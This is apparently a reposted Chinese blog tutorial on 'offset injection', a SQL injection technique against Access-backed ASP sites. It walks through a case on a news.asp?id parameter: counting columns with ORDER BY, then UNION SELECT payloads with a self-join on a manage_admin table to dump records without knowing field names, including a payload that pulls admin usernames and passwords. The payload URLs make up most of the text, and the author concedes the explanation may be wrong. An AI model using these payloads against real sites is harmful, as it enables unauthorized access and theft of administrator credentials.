access 偏移注入 案例

来源:互联网 发布:informix sql 定义变量 编辑:程序博客网 时间:2024/05/21 20:22

news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id

看个案例就明白是什么意思了

先是背景

news.asp?id=3306 存在注入

然后通过 order by 可知查询返回 12 列

通过数据表字典跑出管理员表 manage_admin,但是无论如何也跑不出字段名

好,背景介绍完毕


接下来通过 order by 查询manage_admin 一共有多少字段

4返回正常,5返回错误,所以manage_admin 一共有4个字段。

2x4<12 当然等于也可以。

news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id


案例讲完了,来分析一下sql语法,看下图w3school的解释。

as 关键字则是为数据表取别名。

最后利用 union 联合查询获取数据。

这也是偏移注入的原理,可在不知道字段名的情况下查询数据。

ps:这是彩笔的理解,不一定正确。


另外,关于猜解管理员表字段名这里有个技巧,一般与通过后台登录表单的输入框名称同名,本案例中就是这样。

news.asp?id=3039 and 5>9 UNION SELECT 1,userpassword,3,4,5,6,admin,8,9,10,11,12 from manage_admin


纳尼,这就是偏移注入,其实偏移注入也可以用来猜解数据表一共有多少字段。


news.asp?id=3039 and 4>8 union select 1,2,3,4,5,6,7,8,* from manage_admin //返回正常<pre name="code" class="plain">news.asp?id=3039 and 4>8 union select 1,2,3,4,5,6,7,8,9,* from manage_admin //返回错误


说明表manage_admin 有4个字段(12-8)


0 0